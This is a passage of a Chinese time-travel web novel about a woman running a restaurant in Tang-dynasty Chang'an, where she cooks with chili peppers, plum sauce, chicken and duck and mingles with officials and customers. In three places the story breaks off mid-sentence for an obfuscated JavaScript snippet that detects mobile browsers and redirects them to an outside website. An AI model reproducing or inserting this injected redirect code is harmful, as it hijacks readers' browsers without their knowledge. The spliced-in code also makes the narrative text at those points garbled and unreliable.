割了一把韭菜放进竹篮，苋菜才刚刚冒头，视线移到一旁的细长茎秆上，深绿色的叶片中，长出了些青绿色的果实，细长如弯曲的竹节，有个别长一点，大多都还很短。 “娘子，这是什么菜？”这些蔬菜种子都是娘子从西市买来的，就眼前这个绿色长条状的蔬菜，还真从来没有见过。 杜昭华摸猫的手一顿，她的辣椒终于是种出来了。 她拍拍手起身，快走几步来到菜地，刚长出来的辣椒颜色均匀，表皮光滑无斑点，长短不一，有些居然也有三四厘米长了。 杜昭华压住想往上翘的嘴角，故作疑惑道：“种子是跟一个摆摊的胡商买的，胡商说都是些普通的蔬菜种子，这个我也没有见过，不过反正都是蔬菜，摘几个尝尝味吧。” 白荷娘觉得娘子说的很有道理，她来长安之前就没有见过胡瓜，据说也是从西域那边传过来的一种蔬菜。 她伸手就摘了好几个，觉得长的太少了，都不够做一道菜的，便也想将短的也摘些。 杜昭华立即阻止，在她看来这些辣椒都还是小宝宝，还能在长长的，然后再过段时间会由绿变红，那才是丰收的时候。 “小荷，我们第一次吃这个，稍微尝下味道就行，这些都还没有成熟，才冒出头。” 白荷娘点头，继续割韭菜，直到装满整个竹篮，码放整齐的韭菜上头就放着五六根辣椒，显得更少了。 等送走最后一波买朝食的客人，杜昭华就在想用辣椒炒一道什么菜才好，想来想去，还是决定做小炒肉，就那么几根小辣椒，还只能是微辣版。 辣椒切成滚刀块，切完后手火辣辣的疼，杜昭华立马将手放入井水中，这哪里是微辣，她都怀疑切的是朝天椒。 可是明明她买的就是普通辣度的红椒，难不成在古代种植，还基因突变了。 杜昭华拿出面巾捂住口鼻，辣椒倒入锅中，放盐，翻炒至辣椒表面微微起焦，尽管辣椒放得少，辣椒还是有些呛鼻。 元娘走进厨房，忍不住打了个喷嚏，“娘子这是在炒什么？虽然味道有些呛，但是闻着还挺香。” 杜昭华开始炒五花肉，抽空回了一句，“还不知是什么蔬菜。” 五花肉的煸炒一定不能太干，既要煎出油汁，但是又不能柴老，慢慢地将肉摊开在锅底。 等肉呈现红褐色时，将锅里的油倒出来，五花肉再接着炒，还会出油的。 元娘也不在意杜昭华的回答了，如此霸道的香气，光闻着就觉得好吃。 她就着空气中的香味，开始剁肉，感觉干活都更有劲了。 此时，锅中加入豆豉，不一会儿豆豉的香味开始散发出来。 再翻炒几下，会看到五花肉继续收缩，发出“滋滋”的声响，不断被逼出油汁，空气中弥漫诱人的肉香。 放入蒜、胡椒粉、酱油以及一点点盐，最后放入焙炒好的辣椒。 接下来就是让辣椒和五花肉的香味相互融合，激发出更浓的复合香味。 在元娘的期盼中，饭菜终于摆上桌案。 午食有三菜一汤，小炒肉，拍黄瓜，酿豆腐以及绿豆莲子汤，杜昭华一般是等放凉了以后，下午来上一碗，但是元娘和白荷娘喜欢饭后喝一碗，绿豆煮开花了，喝起来甜甜沙沙的。 元娘夹起一块辣椒放入嘴里，咀嚼两下后辣味迅速蔓延开来，她瞬间睁大眼睛，张着嘴，不停地斯哈着。 “好......辣，比胡椒......还......还辣。”元娘吃得眼中含泪，鼻头冒汗，她是真没有想到这个菜这么辣。 杜昭华也没有好到哪里去，古代的这个身体也是第一次吃辣椒，吃一大口米饭后，压下了这股辣味，示意元娘和白荷娘照做。 “胡商也没有说这个蔬菜叫什么，既然跟胡椒一样有辣味，这个就叫辣椒吧。” 两人觉得好像有哪里不对，又觉得杜昭华说得有理，齐齐点头赞同。 接下来，元娘也琢磨出了如何吃辣椒。 一块辣椒和一片五花肉放在米饭上，与米饭一起入口，青椒裹着油亮的酱汁，五花肉焦香油润，油汁的醇厚与辣椒的辛辣完美融合，再混合清香的米粒，只觉鲜辣咸香，辣味中透着油脂香气。 元娘虽然还是觉得有些辣，但是这种辣味令她欲罢不能，越辣还越想吃。 白荷娘被辣的嘴唇都红了，猛灌一大口汤，“娘子，这......辣椒也太辣了。” 杜昭华也败下阵来，喝起了绿豆莲子汤，“那你下次还吃吗？” 她看了一眼吃得正欢的元娘，点头道：“还是......会忍不住想吃。” 这就是辣椒的魅力，两个土著都接受良好，辣椒还是很有市场潜力的。 杜昭华一边想着下次得减少辣椒的量，得从微微辣开始，慢慢适应接受这辣味，一边已经想到了辣椒的无数种做法，转而又想到，就那个小菜地，怕是只能供应她们自己吃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865868|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家的那十几亩地，离长安城实在太远，来回不方便不说，她还要考虑安全问题，收租也是等秋收后，佃农会将粮食运进城中，也趁此机会，买点需要的东西，毕竟他们一年也就来一回。 不过城里的铺子想想办法，多花点钱是可以买到的，城外的地，就不光是要有钱，还得靠运气，有时候还要有势力才行，附近可以买卖的地大部份都属于勋贵世家之流。 虽然已经让牙人帮她寻找合适的田地，也只能继续等，目前也别无他法。 ...... 绿豆莲子汤喝上了，杜昭华让菜贩再带些荷叶来，做一道夏日美食——荷叶蒸鸡。 白荷娘将荷叶放入热水中稍微焯烫一下，迅速捞出放入冷水中，奇道：“娘子，荷叶也能吃吗？” “可以吃，只是味道会有些苦，不过我们只是用来增添一点风味，不直接吃。”不过还真是全身是宝，可观赏莲花，莲子、莲藕以及荷叶都能吃。 杜昭华做的是一道蒸菜，这样可以最大限度保留鸡的鲜美。 鸡剁成小块，加入葱、姜、盐、酱油以及米酒，抓拌均匀腌制一会，再放入菌菇和红枣腌制入味，这样出汤会很鲜。 将腌制好的鸡肉放入荷叶中，可以多包两张，荷叶的清香味会更浓些，水开蒸两刻钟左右即可。 琥珀肉和狮子头现在都减少了一大半的量，荷叶蒸鸡正好替补上。 京兆府徐法曹前几天才领的俸禄，趁着休沐日又一次来到杜记食肆。 他看了一眼柜台后面那一排的小木牌，一脸的纠结。 杜昭华温声道：“荷叶蒸鸡是今天新出的，天气热，吃这道菜正好。” 徐法曹颔首，“行，店家再来一碗绿豆莲子汤。” “好嘞。” 徐法曹刚坐下不久，就听到一道熟悉的声音传来。 “杜娘子，糖醋排骨，酿豆腐以及荷叶蒸鸡各来一份。”宋君衍干脆利落地报完菜名。 站在他身旁的孙三郎忙补充道：“还有紫苏饮。” 杜昭华侧身，扫视一眼店里的桌案，“小店已经坐满了，要排队等会。” 孙三郎咧嘴一笑道：“杜娘子，我们不挑的，在后院树下吃就行。” 杜昭华闻言一愣，她们吃午食摆放的桌案确实还没有收，沉吟片晌，而后轻笑道：“行，你们跟我来。” 徐法曹眼睁睁看着宋县尉他们往店家后院走去，不由瞪大眼睛，宋县尉什么时候和店家这么熟了？ 后院这边，孙三郎也就来过一次后院，这会与那时候比变化很大，可见用心在打理，爬藤月季占据了半边的院墙，在阳光下，显得越发鲜艳。 杜昭华将他们带到树下，转身去厨房说一声，就立马赶去前店，这会正是午食最忙的时候。 孙三郎惋惜地看了一眼廊下，“现在天气热，不能躺躺椅了，不然往那一趟，再吹着风，真的很舒适，也是很奇怪，雅致的亭台楼阁我也没少见，可是不知为何，杜娘子的这个小院就给人一种很宁静的感觉。” 宋君衍微挑眉，不答反问：“你和杜娘子很熟？” 16. 鸡丝凉面 孙三郎眉开眼笑道：“杜娘子人挺好的，帮我提前做好预定的朝食，上次有人来杜记闹事，我也帮了杜娘子一回，那武侯可是罚了闹事者笞刑二十下。” 这是武侯能处罚的最高极限了，再高就要移交给县衙处理，有这一出，一般宵小之辈是不敢去闹事了。 宋君衍靠在椅背上，侧头轻描淡写地嗯了声：“听说你受邀赴荷花之宴？” 听到荷花宴，他的肩膀耷拉了下来，每年都会设宴一回，这就是个表面赏荷花，实则就是年轻郎君和小娘子们借此机会互相相看相看。 想到此处，孙三郎抬头幽怨地瞥了他一眼，“他们是想你去的，连续两年邀请你，你都置之不理，不过想拐弯抹角地通过我打听你的事。”他也不想去，奈何母亲也催促他去，宋君衍就没有这烦恼，父亲远在北都，都没有长辈管他。 “三郎年纪大了，是该考虑人生大事了。” 孙三郎咬牙切齿道：“我也就比你大一岁，你不也不急吗？” 宋君衍微微一笑，慢悠悠地说：“是两岁，还有我可以自己做主，你行吗？”他是过年前一天出生，一般都论虚岁，他才出生两天就虚岁1岁了。 孙三郎瞪了他一眼，真是哪壶不开提哪壶，他的确做不了主，随即想到什么，疑惑道：“你心情不好，是我得罪你了？还是最近的案子查的不顺心？” 宋君衍眸光微闪，垂眸低声道：“是有些棘手。”他估计最后会移交给京兆府，如果他没有查错的话，甚至会是三司会审...... 另一边的徐法曹还毫不知情，此时他正解开绑住荷叶鸡的草绳，轻轻掀开荷叶，露出了里面的蒸鸡，一股清新的荷叶香气扑鼻而来。 鸡肉呈现食欲感十足金黄色，徐法曹夹一块鸡肉放进嘴里，鸡肉清香嫩滑，若隐若现的荷叶香夹杂其中，中和了鸡肉的丰腴，清香醇厚却不腻。 夹起一块吸满汤汁的菌菇，轻轻一咬，满口生香，汤汁鲜美，菌菇柔韧鲜香。 午食美美地吃一顿荷叶蒸鸡，徐法曹觉得身体里的燥意都仿佛被这股淡雅的荷叶清香驱散，他一口气连着吃了三碗稻米饭。 甚至还喝得下绿豆莲子汤，汤汁入口清甜，绿豆绵绵沙沙的，莲子粉糯，反正也没事干，他便慢悠悠地喝着汤。 杜昭华端着盘子走向树下，将菜一一摆放在桌案上，她觉得这两人的此时的气氛怪怪的，刚来的时候，不还是一副哥俩好的样子。 富贵不知何时走了过来，贴着杜昭华脚边，轻蹭她的脚，她蹲下去看它，才发现它耳朵旁边有一道小伤口，不仔细看还真看不出来。 杜昭华轻轻捏了下它没受伤的耳朵，板着脸道：“又去打架了，是不是？你说你一天天的，怎么脾气这么大，附近的猫见到你，都想绕道走了。” 富贵的脾气是真大，关键是它身体贼灵活，成年的猫它都敢上，打架还少有打输的。 杜昭华觉得她已经体会到了当家长的痛苦，“别在这跟我撒娇，罚你十天，不，半个月不许吃小鱼干。” 富贵表示听不懂，但是他对小鱼干三个字特别敏感，以为是要给它好吃的，蹭的更欢了，还围着杜昭华脚边转圈圈。 她差点气笑了，实际上也是笑出了声，“富贵，卖萌也没有用。” 孙三郎一边大快朵颐，还不忘竖着耳朵听那边的动静，听到富贵一词时，欲说话，结果就呛住了，忍不住低头咳嗽起来。 宋君衍嫌弃地瞥了他一眼，把菜往里面移了移，但还是顺便把紫苏饮往他前面推了推。 他连忙拿起紫苏饮，猛喝一大口，渐渐止住咳嗽，“杜娘子，你给......你的猫取名富贵？” “对啊，有什么问题吗？” 孙三郎见杜昭华一脸的坦然，咧嘴一笑道：“没......没，名字还挺好的。” 宋君衍搁下杯盏，缓缓道：“听舍妹说杜娘子想在宣阳坊租赁铺子？” 杜昭华微微一愣，不明白他为何问此事，还是笑着回答：“确有此意。” “过段时间，杜娘子可以去牙行多打听一下宣阳坊的铺面，说不定还能买到铺子。” 杜昭华的目光在他身上停了停，他眸光微垂，又长又密的睫毛压下来一片阴影，让人辨不清眸底的情绪，她莞尔：“那就借宋县尉吉言，到时候还望两位多多捧场。” 她后知后觉地发现自己抱了一个大腿，救人时没想过回报，但是得到回报的感觉也很不错。 孙三郎忍不住插嘴道：“一定一定。” ...... 翌日，炸酱面也下架了，主要是天热，在那个小厨房熬制炸酱真的是体力活，不一会就能汗如雨下。 杜昭华打算做鸡丝凉面，没有专门卖鸡胸的，只能是鸡腿和鸡胸都用上，鸡架也不打算浪费，可以做烤鸡架。 还有鸡爪，她做荷叶蒸鸡也是砍掉了鸡爪的，她昨天就做了一份香辣鸡爪，加了茱萸，轻轻一抿就脱骨的软糯糯的鸡爪，元娘她们从质疑到喜欢，也就只用了啃一个鸡爪的时间。 今天鸡爪更多，她可以做一份陈醋鸡爪，用井水镇一下，酸辣脆爽，完全是另一种口感。 院子里的那一口井，当初打得比较深，就算是夏天，打出来的井水依然入手冰凉，正适合用来镇一切。 鸡胸和鸡腿冷水下锅，再放入姜片、葱、花椒和酒焯水去腥，煮好捞出放入一个大碗中，再将碗放入井水盆中，换两三遍井水，就差不多了，面条快速过一遍凉白开后，再如法炮制。 杜昭华暗叹，在古代想吃一碗凉面，真心也不容易，也不是没有更简单的方法，用冰块就行，但是成本会提高不止两倍，卖便宜了，她心疼，更何况她卖的本就不便宜，再提高，食客怕是会说她是开黑店的吧。 白荷娘端着一个盘子从厨房出来，上面放着四碗鸡丝凉面，经过柜台时，余光瞥见有人疾步走来，她连忙欲侧身躲开，然而那人速度快一时躲闪不及，眼看着就要迎面撞上。 “小心。” 吴三郎及时将男子扯到旁边，刚刚好与白荷娘错开方向。 男子站稳后，扶正头上的儒巾，忙拱手作揖：“此乃某之过，惊扰娘子了，还望见谅。” 白荷娘还端着盘子，不好回礼，便往旁边侧身，避开他的行礼，“郎君以后莫要在食肆中疾步行走了，我这次端的是凉面，若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884950|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热汤......” “是，娘子说的是，某今日是有急事，才会如此。”说完，对着吴三郎叉手行礼道：“多谢郎君出手相助。” “举手之劳罢了，郎君既然有急事，赶紧去吧。”吴三郎回礼后转头就冲着白荷娘扬起一抹温润的笑，“白娘子，一份鸡丝凉面。” “好嘞，吴郎君先找个位置坐下。” 不一会，鸡丝凉面就被端上桌案，翠绿的黄瓜丝、橙红的胡萝卜丝和嫩白的豆芽，看着就很清爽。 面条入口微凉，裹满酱汁的面条爽滑劲道，再加上鸡丝鲜嫩、蔬菜清脆爽口，随着咀嚼多种味道在口中瞬间融合，酸辣鲜香，还带着微微的麻感。 吴三郎吸溜吸溜地，几口就吃完了一碗面条，他还有些意犹未尽。不枉他特意早早起床，就为了来杜记食肆吃朝食，他一会还要赶着去国子监，不然真想再来一碗。 这炎热的天气，来上一碗鸡丝凉面，真的很开胃，准备的食材未到午食就用完了，仅靠朝食就卖完了，杜昭华紧急补充一波食材，继猪肉大户之后，她离鸡肉大户也不远了。 鸡丝凉面的大卖，带给她们的不仅是钱盒被装满，还有一碗陈醋鸡爪和一份香喷喷的烤鸡架。 鸡爪经过陈醋的浸泡，呈现诱人的琥珀色，白荷娘夹起一个鸡爪，熟练地埋头啃鸡爪，经过井水冰镇一下午，肉质紧实弹牙，鸡爪充分吸收了酱汁，酸味浓郁，又有些辣味，一整个酸辣脆爽，非常开胃。 杜昭华夹起一块鸡架尝了尝，鸡架的外皮烤得金黄酥脆，咬起来“咔滋”作响，内里的肉质依然鲜嫩多汁，满口油脂香，再吃一口微凉的鸡丝凉面，杜昭华顿时有一种身在现代某个夜市的错觉。 就是少了点肥宅快乐水，她咽下口中的面条，柔声道：“明天小荷跟我一起去银楼，把一部份铜板换成银锭。”铜板真的很占地方，她的房间已经放了十多箱的铜板了，看着挺多，其实还没有一箱碎银值钱。 白荷年还在与鸡爪奋斗，闻言连忙点头。 杜昭华看向她，用温和的语气说出残忍的话，“小荷，今晚我要抽背《千字文》前二十五句，表现得好，明天有奖励。” 白荷娘闻言肩膀都垮下来了，嘴里的鸡爪也不香了，苦着一张脸，干巴巴地说：“娘子，我才学了一个多月。” 杜昭华颔首，温声道：“所以我只让你背下来，而不是写出来，四字一句，也就一百个字，大部份你都认识了。”她发现白荷娘在认字方面还是有些天赋的，逼一逼她，说不定能挖掘出更大的潜力。 她看着白荷娘的脸都快皱成一团了，觉得此刻的她就是一个狠心的魔鬼教练，不过玉不琢不成器嘛，只不过下次还是等小姑娘吃完饭再说吧，瞧她，估计吃饭的胃口都没了。 杜昭华轻轻咳嗽一声，侧头对元娘说：“元娘，我也要检查你的识字进度。”主打一个一视同仁。 元娘就明显淡定多了，“好的，娘子。”主要是她急也没有用，这么久了，从一开始的紧张，到现在已经认命，娘子也清楚她的情况，她也就能写出三四个字，有两个字还是她自个儿的名字。 要让杜昭华来说，就是已经躺平了。 17. 酸梅酱 鸡丝凉面一炮而红，许多其他坊市的人闻讯而来，眼见有大排长龙的趋势，杜昭华连忙去找陈木匠，让他制作一批小木牌，刻上数字，发给排队的食客。 索性制作简单，加上陈木匠给她插了个队，让徒弟们先停下手中的活，先做木牌，不到半天功夫就完成了。 陈木匠亲自将木牌送到杜记，打量一圈店内，眉开眼笑道：“杜娘子，近来生意很红火啊，就连西市的胡人都慕名而来。” 他觉得杜娘子简直就是他的财神爷，自从他接连做出圈椅和躺椅，这段时间可谓是出尽了风头，连带着找他制作大件家具的人都多了起来。 因此，他自然是想长长久久地与杜娘子合作，杜娘子生意好，他也是打心眼里替她高兴的。 杜昭华微微一笑道：“同喜同喜，我可是听闻陈木匠最近又收了两个徒弟，手上的活计可不少，木牌的事还要多谢陈木匠优先给我做出来。” 其实真正说来，她画的椅子样式就只有一个大概的形状，尤其是躺椅，她只是提出了一个大致的想法，具体细节还是靠陈木匠自己琢磨出来的。 陈木匠欲开口，却先忍不住吞了一下口水，他好像还从来没有吃过杜娘子食肆里的食物，闻着空气中的香味，他突然觉得有些饿，肚子也配合地发出“咕噜”声响，他是吃过午食来的！虽然为了尽快把木牌送过来，就只是简单吃了几口。 他还是不禁老脸一热，装作若无其事道：“久闻杜娘子的厨艺好，我今日便也来尝一尝。” 最后，他是腆着圆鼓鼓的肚子，拎着一个食盒，一步三摇地离开了，不仅刚到手的工钱没能拿回去，甚至还要另外掏钱结账。 杜昭华去东市租了一辆骡车，车上装着十箱的铜板，就这样招摇过市赶往延寿坊，其实总的来说，长安内城的治安是不错的，毕竟在皇城脚下。 延寿房邻近西市，坊内有好几家金银店铺，杜昭华带着白荷娘走进一家叫宝华楼的店铺。 有伙计见到两人后面的车夫，正在从车上往下搬木箱，还不少，笑着上前，“郎君是来兑银锭的吗？” 杜昭华沉声回答：“是的。”抬眸环顾四周，这会客人倒是不多。 伙计右手张开向后引路，“郎君，请随我到后院清点下铜板。” 杜昭华微微颔首，跟着往后院走去，车夫扛着一个木箱紧随其后，白荷娘便在前厅守着木箱。 显然有不少人来过宝华楼兑换银锭，一到后院，就走过来四五个伙计，车夫放下木箱，他们便走过来，熟练地当场清点铜板，还有两个伙计随着车夫出去，一起将剩余的木箱抬进来。 杜昭华坐在一旁，垂眸盯着他们数铜板，现在她们三人每天晚上都要数一遍当日收到的银钱，一开始她是兴奋的，数钱还是很快乐，后面就只剩下痛苦面具，一千枚铜钱串成一串，即一贯钱，现在每日的营收都有几十贯，光是数钱都要花费不少时间。 好在他们人多，后来又有两个伙计加入，比她预估的时间缩短一半不止，扛过来十箱铜板，最后兑换的银锭一箱都装不满。 几人往前店走去，路过大堂时，刚好有一行人从楼上走下来。 “小荷？” 白荷娘闻言侧头看去，喊她的人竟是宋娘子，只见宋琬带着丫鬟嬷嬷朝着她们的方向走来。 宋琬瞥了一眼站在她身旁的少年郎君，却没见着杜昭华，遂问：“杜姐姐没有来吗？” 白荷娘轻轻咳嗽一声，一本正经道：“娘子今日有事没有来，这位是娘子的弟弟，杜二郎。” 宋琬眸中闪过一丝惊讶，她是知道杜昭华是独女的，哪有什么弟弟，倏地想到什么，抬眼仔细打量眼前的“郎君”，端的是玉树临风，翩翩少年郎君。 “杜......二郎，请随我来，有一样东西需得劳烦你带回去给你阿姐。” 杜昭华朝白荷娘使了个眼色，白荷娘会意，立即带着车夫往骡车走去，她自己则跟在宋琬一行人后面。 行至一辆马车前，宋琬踩着马凳上马车，从里面拎出一个食盒，嫣然一笑道：“杜姐姐，本来今天也是要去找你的，里面是西域来的葡萄，我尝着觉得滋味不错，酸甜可口，便想带些给你。” 杜昭华没有想到真有东西给她，伸手接过，温柔一笑道：“阿琬，那我就不客气地收下了，申时左右你让人来一趟杜记，我做了点新鲜吃食，虽然是些边角料做的，味道确是非常不错的。” 宋琬瞥了一眼后面站着的姜嬷嬷，靠近杜昭华，压低声音道：“最近我都不能常出门了，嬷嬷每天让我学着打理后宅，马场也不能去。”说完深深地叹了口气。 杜昭华不由感到好笑，也学着她压低声音说：“说到骑马，我想起一件事，你骑射功夫不差，并且据我所知武艺也是不错的，怎么当初就那么轻易地被人一撞，掉到湖里了？”她年纪不大，确是个武德充沛的小娘子。 宋琬眸光微闪，忽地脸上泛起酡红，故作镇定道：“就是......就是当时看风景入神了，就没有注意到旁边突然挤过来一人，然后就被撞了一下......” 杜昭华视线落在她泛红的脸上，有些纳闷，怎么就突然害羞起来了，不过她并没有继续这个话题，“多学一点总是没有坏处的，你尽早学完，我想到时候，姜嬷嬷就不会继续管着你了，到那时，我估计也会多出些时间，你教我骑马吧。” 宋琬立即高兴起来，欣喜道：“好呀好呀，我的骑术是我阿兄交我的，他打马球也很厉害的。”转而想起什么，接着道：“端午节那天杜姐姐跟我一起去曲江池看龙舟赛吧，我家也有一支龙舟队参赛的。” 杜昭华思忖片刻，点头答应了。 ...... 当天申时正，宋琬就见桌案上放着一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893787|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗泛着琥珀色泽的——鸡爪，以及一盘金黄酥脆的炙鸡架，鸡爪居然也能当做一道菜。 她小心翼翼地夹起一个鸡爪，闻了闻，酸甜的香气扑鼻而来，她忍不住口齿生津，迟疑了下，还是咬了一口。 入口先尝到的是酸酸甜甜的酱汁，接着往下咬，是肉质饱满又紧实的鸡爪，咬起来脆爽又有嚼劲，酸甜中还带着些辛辣味，还是冰镇过的，非常开胃解腻。 宋琬啃完一个鸡爪，喜滋滋地说：“霜降，将鸡爪匀出一半来，还有这个......炙鸡架，送到万年县县衙，阿兄近来忙着查案，都好几天没有回来吃夕食了，也不知这会吃了没，这道菜酸辣开胃，他肯定喜欢吃的。” 霜降看了一眼桌案上的鸡骨头，欲言又止，郎君怕是不会吃的吧，不过她还是听吩咐的让人送去县衙。 杜记食肆后院中，杜昭华三人刚吃完夕食，正悠闲地吃着用井水镇过的葡萄。 白荷娘一开始还很遗憾，没能吃到鸡爪，可是当她拿起一颗圆润饱满的葡萄，学着娘子的吃法，两手捏住葡萄顶部的小口，揪住皮往两边剥，轻轻一嘬，果肉入口，咬破葡萄，酸甜可口的汁水瞬间在口中四溢，细嚼一下，果肉直接融化在口中，清甜中带有一丝微酸。 她心里的那一丝遗憾立即烟消云散，原来葡萄的味道是这样的。 杜昭华也吃得很开心，双眸微弯，“夏天瓜果多，明天就去东市看看还有什么好吃的，你们有什么想吃的吗？”虽然古代有些瓜果挺贵的，但是赚了钱，就是用来吃吃喝喝，这也是她赚钱的动力之一。 “甜瓜。”这也是白荷娘曾经吃过一次的水果，那甜滋滋的味道，她至今都还记得。 杜昭华点头，这个倒是不贵，转头看元娘，“你呢？” “桃子。”她记得娘子很喜欢吃桃，阿郎还在的时候，每年夏天都会买些给娘子。 杜昭华闻言也起想来了，心中微暖的同时又感慨原身真的过得很幸福，近来她有时候也会想，其实留在这古代也挺好的，她还是很幸运的，遇见了如此温暖的她们。 翌日，杜昭华去了一趟东市，在果子行，买了桃子、甜瓜和葡萄，还买了许多梅子，正值梅子成熟的季节，熟青梅正适合做酸甜可口的梅子酱，也可用来腌制咸酸梅。 咸酸梅是可常温保存的，甚至保存得当，几年都不会坏，咸酸梅腌制的时间越久，风味越浓，杜昭华打算腌制两坛留着明年再开封，咸酸梅还可以加糖熬制成梅膏酱。 梅子酱因为没有冰箱，保质期短，她就只能是隔一段时间熬制一次。 一想到就可以吃到酸梅鸭、酸梅排骨以及酸梅蒸鱼，她就忍不住口齿生津，酸酸甜甜的梅子真的很适合夏天吃，即开胃又解暑。 两日过去，最后一坛腌青梅也封存好，而端午节将至，鉴于青团礼盒卖得很好，她打算再卖一批粽子礼盒。 18. 酸梅鸭 依旧是甜咸两种都做一些，粽子礼盒一经推出，买过青团的人，基本也都来买了粽子礼盒，甚至都不需要试吃，熟客们内心深处都觉得杜记食肆做的食物就没有难吃的。 白荷娘迟疑道：“吴郎君确定要买三盒？一盒是十个，粽子当天就得吃完的，现在天气热容易坏。” 吴三郎声音微微上扬，笑言道：“不仅是家里人吃，我还要送些给同窗的。” 白荷娘颔首，手脚麻利地装好三盒粽子，含笑道：“提前祝吴郎君端午安康。” “白娘子端午安康。”吴三郎欣喜地接过粽子。 等人离开，她扭头看向杜昭华问：“娘子，粽子只剩下一盒了，明天是不是要多做点？” 杜昭华将酸梅鸭的木牌挂好，头也不回道：“不用，但是可以跟客人说接受预定，不好保存，宁愿少卖一点，也不能多做。” “白娘子，来两盒粽子。” 白荷娘见到来人，微笑道：“林郎君，现在只剩下一盒了。” “那我买一盒，明天我再来。” “付定金就可以预定的，林郎君要预订吗？” 林郎君眉眼含笑道：“要的。”说罢立即拿出一块碎银递给她。 白荷娘从柜台旁边拿出一本册子，垂眸执笔，认真地在纸上登记信息，只需要写上日期和数量等简单明了的信息，她虽然写得磕磕绊绊，但确是一字不漏地写完了。 杜昭华瞥了一眼林郎君离开的背影，食指轻点下巴思忖片刻，微微皱眉，这就是小荷说的那个毛毛躁躁，差点将她撞倒的林郎君，视线投向在一旁忙碌的白荷娘。 年方二八，正是古代的适婚年龄，容貌秀丽，眉弯鼻挺，眉眼温柔，加之最近吃得好，睡得好，肤色白了许多，识字带给她最大的变化就是更自信了，整个人的气质都与之前不同。 她怎么突然有一种吾家有女初长成的感觉，甩甩头，将这种想法抛之脑后。 “娘子，你怎么了？”白荷娘能感觉到娘子看了她好几回，以为娘子有话要对她说，等了一会都没有等到，她忍不住出声询问。 杜昭华立即回神，摇了摇头，“没什么。” 白荷娘便也不在意了，如果是重要的事，娘子会与她说的，既然不说，那就表明没有必要说，她转身继续忙手上的事。 杜昭华曾经每到夏天，就会吃酸梅鸭，夏天胃口不好的话，最适合吃这种酸甜口的菜。 将鸭脚砍掉之后，放入锅中，等一面的皮煎到微微金黄，再翻面煎另一面，鸭皮经过油煎，会释放出油脂，这样处理后的鸭皮吃起来就会没有鸭腥味。 煎过之后的油盛出来些，可以减少油腻感。 加入姜片、米酒、酱油和醋，最重要的是要加入酸梅酱，最后倒入开水，焖煮一刻多钟，翻面再煮一刻钟，开盖再煮一会收汁，收到酱汁浓稠即可。 东坡肉早在半个月前，就没有再做了，清爽的鸡丝凉面和荷叶蒸鸡更受欢迎，杜昭华对酸梅鸭也是很有信心的。 孙三郎放衙后，特意走到县廨，是想叫上宋君衍一起去吃夕食的，但是这人又出去查案了，也就替他惋惜了一下下，转身立马直奔杜记食肆。 “怎么没有鸡爪？”孙三郎兴冲冲地走进食肆，盯着柜台后挂着的木牌，一个个看过去，并没有看到他想吃的。 杜昭华微怔，转而笑道：“那是我们做出来自己吃的，每日也不过只有一份。”见孙三郎面露失望，她接着道：“不过，从明日起。申时开始卖一部份鸡爪，但是数量不多，卖完就没有了。”鸡爪再好吃，也不可能天天吃一大碗鸡爪，还是卖了好。 孙三郎暗想，明日就让小厮提前来杜记等着，多买一些，一想到这么好吃的鸡爪，宋君衍居然不吃，真是不识货。 他再次看了一遍木牌，也就几日没来，又上了不少新菜，点了酸梅鸭和鸡丝凉面。 等坐下来，才察觉到，他的斜对面还坐着好几个胡人，看来杜娘子的好手艺都传到西市那边了。 离得不远，他还能断断续续地听到他们的交谈声。 “京城的......食物好吃。”一胡人说着含糊不清的汉话。 “乌尔，这是你第一次来京城，当然要带你来吃好吃的，这的美食有很多，你放心，我会带你去都去尝一尝的。”这个胡人的汉话明显说得很流畅。 乌尔感动不已，连连致谢。 “你存放在波斯邸的珠宝和香料，也可以直接放在我的铺子里售卖，那的租金太贵了。” 乌尔忙不迭地点头。 孙三郎看得直摇头，真是个傻的呦，一顿饭食就被打发了，放在族人铺子里卖，要付出的代价可比那点租金多多了。 孙三郎一边吃着凉面，一边竖起耳朵听八卦，只觉得凉面更好吃了。 不一会，一股浓郁的酸甜香吸引了他的注意力。 桌案上的酸梅鸭色泽红亮，鸭肉表面淋上了一层赤红油亮的酱汁，酱汁浓稠，此刻还在缓缓流淌至盘底。 他夹起一块鸭肉放入口中，鸭肉醇厚多汁，酸梅的酸甜味道与鸭肉的鲜嫩完美融合，细细咀嚼，还能尝出酸梅酱中蕴含的浓郁果香，很好地中和了鸭肉的油腻，独特的梅子酸味令人胃口大开。 一时间，八卦也顾不得听了，埋头专心吃鸭。 另一边的杜昭华却听起了八卦，也是这时客人不多，隔壁的柳大娘子上门来买凉面，等菜的功夫，与她闲聊。 